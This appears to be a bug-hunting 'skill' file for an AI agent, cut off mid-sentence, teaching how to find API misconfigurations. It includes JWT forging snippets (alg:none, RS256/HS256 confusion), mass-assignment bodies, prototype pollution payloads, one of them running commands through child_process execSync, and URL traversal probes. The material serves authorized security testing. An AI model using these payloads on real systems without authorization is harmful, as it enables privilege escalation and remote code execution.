$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid
| 1 | ## 12. API SECURITY MISCONFIGURATION |
| 2 | |
| 3 | ### Mass Assignment |
| 4 | ```javascript |
| 5 | User.update(req.body) // body has {"role": "admin"} → privilege escalation |
| 6 | ``` |
| 7 | |
| 8 | ### JWT None Algorithm |
| 9 | ```python |
| 10 | header = {"alg": "none", "typ": "JWT"} |
| 11 | payload = {"sub": 1, "role": "admin"} |
| 12 | token = base64(header) + "." + base64(payload) + "." # no signature |
| 13 | ``` |
| 14 | |
| 15 | ### JWT RS256 → HS256 Algorithm Confusion |
| 16 | ```python |
| 17 | # Get server's public key from /.well-known/jwks.json |
| 18 | # Sign token with public key as HMAC secret |
| 19 | token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256") |
| 20 | # Server uses RS256 key as HS256 secret → accepts it |
| 21 | ``` |
| 22 | |
| 23 | ### Prototype Pollution |
| 24 | ```javascript |
| 25 | // Server-side — Node.js merge without protection |
| 26 | {"__proto__": {"admin": true}} |
| 27 | {"constructor": {"prototype": {"admin": true}}} |
| 28 | // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin |
| 29 | ``` |
| 30 | |
| 31 | For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor |
| 32 | JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, |
| 33 | or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype |
| 34 | state reaches a later operation. |
| 35 | |
| 36 | Hunt sequence: |
| 37 | |
| 38 | 1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. |
| 39 | Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed. |
| 40 | 2. **Pollute harmless marker properties.** Send variants such as: |
| 41 | |
| 42 | ``` |
| 43 | {"__proto__":{"polluted":"pp-1337"}} |
| 44 | {"constructor":{"prototype":{"polluted":"pp-1337"}}} |
| 45 | __proto__[polluted]=pp-1337 |
| 46 | constructor[prototype][polluted]=pp-1337 |
| 47 | ``` |
| 48 | |
| 49 | 3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render |
| 50 | endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, |
| 51 | server errors mentioning object properties, changed job output, template/render errors, or command/job |
| 52 | behavior changes. |
| 53 | 4. **Escalate only through learned sinks.** Candidate properties depend on the sink: |
| 54 | |
| 55 | ``` |
| 56 | {"__proto__":{"json spaces":10}} |
| 57 | {"__proto__":{"status":555}} |
| 58 | {"__proto__":{"isAdmin":true,"role":"admin"}} |
| 59 | {"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}} |
| 60 | {"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}} |
| 61 | ``` |
| 62 | |
| 63 | 5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, |
| 64 | export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only |
| 65 | when authorized. In production, stop at a controlled marker unless scope explicitly permits data access. |
| 66 | |
| 67 | ### Server-Side Parameter Pollution in Backend URL / REST URL Construction |
| 68 | |
| 69 | Use this when a frontend form or endpoint appears to call a server-side API on your behalf |
| 70 | (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not |
| 71 | ordinary client-side query pollution. The server takes your input and interpolates it into a backend |
| 72 | URL path or query string, such as: |
| 73 | |
| 74 | ``` |
| 75 | /api/internal/users/<username>/field/email |
| 76 | /api/users/<id> |
| 77 | /api/users?username=<username>&field=email |
| 78 | ``` |
| 79 | |
| 80 | Hunt sequence: |
| 81 | |
| 82 | 1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look |
| 83 | for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends. |
| 84 | If there is a reset/account form, test known usernames first to learn the normal success/error shape. |
| 85 | 2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: |
| 86 | `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`. |
| 87 | Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned |
| 88 | fields mean your value is being interpreted by a server-side URL router, not merely validated as text. |
| 89 | 3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the |
| 90 | referenced account, the inp |